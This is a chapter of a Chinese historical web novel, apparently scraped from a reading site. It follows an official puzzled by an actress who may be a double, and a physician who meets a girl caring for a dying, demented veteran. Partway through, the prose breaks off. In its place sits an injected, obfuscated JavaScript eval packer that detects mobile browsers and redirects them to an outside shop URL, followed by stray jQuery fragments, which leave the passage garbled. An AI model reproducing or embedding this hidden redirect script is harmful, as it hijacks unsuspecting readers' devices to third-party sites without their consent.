数日光阴倏忽而过,望仙楼的戏台凶案渐渐褪去热度,沦为旗烟城坊间的寻常闲谈。
普通人早已淡忘那场凶险,唯有边笑白,始终忘不掉当夜戏台之上的那一抹惊鸿身影。
他见惯风月美人,却从未遇过这般独特之人。以温柔为表,以锋芒为骨,身陷浮华泥沼却心性清明,临危不乱且智计深藏,一身本事全然不似寻常风月女子。
惦念与好奇盘桓心头,这日闲暇,他再度踏入望仙楼。仍是一身便装,看似闲散观戏、消遣时光,实则心底藏着期许,想再见一见那夜的惊鸿之人。
今日的望仙楼,依旧宾客满堂,灯火璀璨。
台上丝竹再起,一道熟悉身影缓步登台。妆造、戏衣分毫不差,眉眼婉转、唱腔温润也与数日前一般无二,远远望去,完完全全就是众人熟知的李青姝。
满堂宾客沉醉其中,赞叹之声不绝于耳。
“青姝姑娘风采依旧,果然不负盛名。”
“几日未见,唱腔愈发温婉动人了。”
周遭皆是溢美之词,无人察觉半分异样。
可边笑白只看了一眼,心底那点残存的期许,便被浓重的违和感取代。
眼前人样样相似,唯独风骨判若两人。
今日台上的李青姝,身段绵软,步态拘谨,舞步规整刻板,是寻常伶人打磨多年的标准路数,温柔有余,却全无半分底气。她身姿轻飘,重心虚浮,缺了那夜女子的利落张力与沉稳定力,更没有绝境之下从容避险的通透心性与习武底子。
同名同貌,同妆同戏,气韵风骨却截然不同。
“前几日富商寿宴,登台唱戏之人,可是青姝姑娘?”边笑白心头疑云渐生,他抬手唤来楼中掌柜,语气散漫松弛,看似随口闲谈,实则只为求证。
掌柜连忙躬身应声,语气恳切:“回边大人,正是青姝姑娘没错。我望仙楼头牌仅此一人,绝无替代。”
边笑白眸光微沉,再问:“那今日登台之人,依旧是她?”
掌柜拍着胸脯保证,言辞真切,滴水不漏:“自然是她!青姝姑娘从未换人、从未缺席,楼中上下皆知,头牌仅此一位,从头到尾都是她本人,绝无半点虚假。”
句句笃定,天衣无缝,瞧不出半分说谎的痕迹。
“没事了,你去吧。”可边笑白心头的疑虑,非但未散,反而愈发清晰。他最擅观人,深知风骨气韵骗不了人。妆容可仿,唱腔可学,姿态可演,唯独沉在骨子里的底气、绝境磨出的沉稳、经年累月养出的身形气度,永远无从复刻,无法伪装。
那夜戏台之上临危破局、风骨卓绝的女子,与今日这个循规蹈矩、柔弱温婉的李青姝,气韵判若两人。可楼中上下众口一词,都说头牌从未换人,始终是李青姝登台。那一夜的惊鸿风骨,到底是她平日藏锋不外露,还是另有隐情?虚实交错,真假难辨,一团疑云悄然萦绕在他心头。
边笑白敛去眼底所有探究锋芒,压下心头纷乱思绪,重新换回那副浪荡随性、闲散无为的模样。他淡淡一笑,不再追问,不再深究。
他兀自起身,缓步离开望仙楼,将满楼繁华与满腹疑云,一并留在了身后。
☆☆☆
燕国,齐燕城。
城南有一处荒废空地,终年萧瑟冷清,少有人至。
空地上常年栖着一位无名老者,无人知晓他的籍贯年岁,也没人过问他的过往来历。他衣衫褴褛,身形佝偻,满身尘垢,整日神志混沌,疯言疯语,常独自对着空处喃喃自语,举止孤僻怪异。往来街坊都远远避开,私下嗤笑讥讽,只当他是天生痴傻的流浪疯叟,从无人肯驻足深究他沦落至此的缘由。
满城市井之人对这疯癫老者避之不及,唯有一名少女,日日前来,风雨无阻。
二十余日前,少女悄然现身城南,自此便守在这片清冷空地上,日日伴在老者身侧。无人知晓她的来历,只知这姑娘容貌清丽,气质温润,不惧脏乱,不嫌痴傻,日复一日照料着人人厌弃的疯叟。
说来也奇,她每次走近,俯身轻唤一句 “爷爷”,老者混沌躁动的心神便会立时安定下来。他会停下胡乱呓语与挣扎,静静立在原地,任由她近身打理、柔声安抚。
每当日光初亮,她便带着热食暖衣前来,为老者擦拭尘污、喂他吃食;暮色降临,她便陪他静坐树下,安安静静挨过漫长黄昏。没有多余言辞,没有刻意怜悯,只有日复一日的陪伴。
二十余日朝夕相伴,恳切如常,从未间断。
齐燕城的街坊看在眼里,只当少女天性纯良,心有悲悯,闲来行善积德,私下都惋惜她白费光阴,照料一个疯癫无用的孤叟。
直至温玉辞初入齐燕城,这场隐秘温柔的守候,才多了一位见证者。
彼时温玉辞正游历列国行医济世,受官府邀约入驻齐燕城,协助核查疑难刑案的医理疑点,闲暇时便在城南市井义诊施药,医者仁心,品性高洁,颇得邻里敬重。
这日他途经城郊空地,偶然撞见的一幕,让他心头微动。
“姑娘,我观老人家身形孱弱,周身旧伤淤积,常年受病痛折磨。在下略通医术,可否容我为他诊脉调理一二?”他脚步微顿,主动上前,心头生出几分赞许。
“多谢先生好意。只是我爷爷神志不清,性情乖张,寻常人近身便会抵触躁动,不敢劳烦先生。”少女闻声抬眸,眉眼温润柔和,笑意浅浅。
温玉辞闻言微微颔首,语气温和体恤:“我尽量动作轻柔,不去惊扰老人家,若能稍稍舒缓他的病痛苦楚,也算善事一桩。”
他待人坦荡,眼底全无半分轻视、好奇与窥探,唯有医者的悲悯仁心。少女看在眼里,侧身退让:“那就麻烦先生了。”
自此,萧瑟冷清的城南空地,便从一人的默默守候,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17855842|211898||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
变成了两道清寂身影的温柔相伴。乱世市井凉薄,两份纯粹向善的赤诚在此静静相融,温柔又安稳。
少女轻声安抚老者,陪他静坐闲话;温玉辞静心查体敷药,调理他经年累月的战场旧伤与体虚顽疾。二人分寸得当,相处坦荡,是乱世市井里难得干净的君子之交。
日常相处间,温玉辞时常轻声叮嘱:“老人家旧伤淤堵日久,气血亏虚,切忌受凉劳累。姑娘日日在此照料,费心费力,实在难得。”
少女每每只淡淡一笑,语气温和平顺,始终以孙辈身份应答:“爷爷孤身一人,神志糊涂,我多照看几分是应当的。先生医术高明,连日费心调理,该我多谢先生才是。”
她言语克制,从不提及过往,也不透露缘由,只安分扮演着陪在老者身边的孙女角色。温玉辞始终认定二人是祖孙至亲,只觉她孝顺温柔,心性纯良,心底存着平和的好感,从未有过半分打探窥探的念头。
二十余日时光倏忽而过,朝夕相伴的温柔,一日日无声延续着。
老者名唤陆峥,常年身心耗损,旧伤缠身,早已油尽灯枯,纵有医术调理、温柔慰藉,也难挽垂暮残躯。
秋风萧瑟,落日沉暮。残阳余晖铺在荒地上,晚风卷着微凉秋意掠过老树枝桠。垂暮枯坐的陆峥身形微微一颤,萦绕半生的混沌疯癫竟缓缓褪去,浑浊多年的双眼慢慢恢复清明。
他缓缓抬眼,目光落在身前悉心照料自己二十余日的少女身上,眼底蓄满滚烫热泪,沧桑枯槁的面容满是动容与感念。
半生沙场浮沉,半生疯癫飘零,世人都厌他癫狂脏乱,避之不及,唯独眼前这无名姑娘,不计得失,不问来路,以一场漫长温柔的陪伴,为他孤苦残破的余生收了尾。
陆峥嘴唇微微颤动,发不出清晰字句,只喉间溢出细碎沙哑的气音。他用尽最后一丝力气,竭力挺直佝偻了半生的脊背,敛去一身落魄疯态。枯瘦的右手布满陈年箭伤刀疤,缓缓平举覆在心口,肩胛收紧,身姿肃然,对着身前温柔渡他残生的少女,深深躬身,行了一记燕国武人最庄重的肃拜礼。
这是沙场老兵一生的风骨与致谢,是他穷尽残躯,赠予世间最后善待他的人的最高敬意。
礼毕,手臂沉沉垂落。老者眼底的光亮慢慢褪去,热泪凝在眼角,伴着漫天温柔余晖,安然阖目,静静辞世。
老者离世的消息,很快传遍城南市井,街坊聚在一处闲谈唏嘘。
“这老爷子疯癫孤苦一辈子,无亲无故,实在可怜。”
“也算他晚年有福,得那位姑娘照料,最后一程总算不孤单。”
连日相伴,温玉辞始终以为二人是相依为命的祖孙。直到此刻听着街坊闲谈的细碎言语,才恍然惊觉 —— 原来那些贴身尽孝、细心陪伴,从来不是血脉亲情里的理所应当。
那一刻,温玉辞心底涌起一股难以言说的敬重与动容。